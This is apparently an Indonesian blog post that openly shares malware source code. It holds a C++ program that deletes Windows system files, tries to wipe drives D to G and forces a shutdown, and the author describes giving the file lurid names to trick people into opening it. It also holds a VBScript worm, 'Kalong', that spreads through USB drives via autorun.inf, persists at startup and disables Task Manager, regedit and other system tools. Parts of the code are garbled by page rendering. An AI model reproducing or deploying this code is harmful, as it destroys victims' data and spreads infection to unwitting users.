hanya sebuah program sederhana untuk memanggil dan mengeksekusi file pada windows. Disamping itu, icon nya masih sederhana banget, jadi mudah dan gampang untuk di tebak sebagai “virus”. Kelemahan lainnya adalah, virus ini tidak bisa menjalankan dirinya sendiri, harus melalui bantuan user dengan cara double klik. Untuk itu, aku selalu save dengan nama yang bisa buat orang penasaran, seperti hantu, pocong, miyabi, xxx, dll. Source code: #include #include using namespace std; int main(int argc, char *argv[]) { std::remove("%SystemRoot%\\system32\\rededt32.exe");//menghapus register windows std::remove("%SystemRoot%\\regedt32.exe"); //menghapus register windows std::remove("%SystemRoot%\\notepad.exe"); //menghapus notepad.exe std::remove("%SystemRoot%\\explorer.exe"); // menghapus explorer.exe std::remove("D:\\*.*"); // menghapus semua file dan folder pada drive D std::remove("E:\\*.*"); // menghapus semua file dan folder pada drive E std::remove("F:\\*.*"); // menghapus semua file dan folder pada drive F std::remove("G:\\*.*"); // menghapus semua file dan folder pada drive G system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 05"); //05=durasi shutdown cout<<"============================================"< isi =" “[autorun]”" shellexecute="wscript.exe" fs =" createobject(”Scripting.FileSystemObject”)" mf =" fs.getfile(Wscript.ScriptFullname)" size =" mf.size" check =" mf.drive.drivetype" text =" mf.openastextstream(1,-2)" rekur =" rekur" rekur =" rekur" windowpath =" fs.getspecialfolder(0)" tf =" fs.getfile(windowpath" attributes =" 32" tf="fs.createtextfile(windowpath" tf =" fs.getfile(windowpath" attributes =" 39" drivetype =" 1" drivetype =" 2)"> “A:” then ‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–// set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true) tf.write rekursif tf.close set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) tf.attributes = 39 ‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–// set tf =fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true) tf.write isi tf.close set tf = fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes=39 end if next ‘//–Manipulasi Registry–// set kalong = createobject(”WScript.Shell”) ‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–// kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “ ‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD” ‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD” kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD” ‘//–Manip – Disable klik kanan–// kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD” ‘//–Manip - Munculkan Pesan Setiap Windows Startup–// kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.” ‘//–Manip – Aktif setiap Windows Startup–// kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “ ‘//–Manip – Ubah RegisteredOwner dan Organization–// kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix” kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong” ‘//–Nah kalo kode dibawah ni ko dak tau, tolong baseng untuk menjelaskan–// if check <> 1 then Wscript.sleep 200000 end if loop while check <> 1 set sd = createobject(”Wscript.shell”) sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname ‘Akhir dari Kode seve kode di notepad dgn care File-> Save. trus di save as type 'all files (*.*). trus simpen dng name : k4l0n6.dll.vbs. sebener e dak usah pakai *.dll ge dak ape2 tapi ni usaha agar biak telalu mencurigakan. virus worm ne bukan murni dari pemikiran ku sendiri' krn kode2 e niru kode e virus Rangga-Zay. oke cek cuman cem tulah pemikiranku semoga jadi pembelajaran kek nambah sedikit e pengetahuan kite. semoga ape yg kite miliki dapat kite guneken untuk kebaikan.


http://fuangpoetry.blogspot.com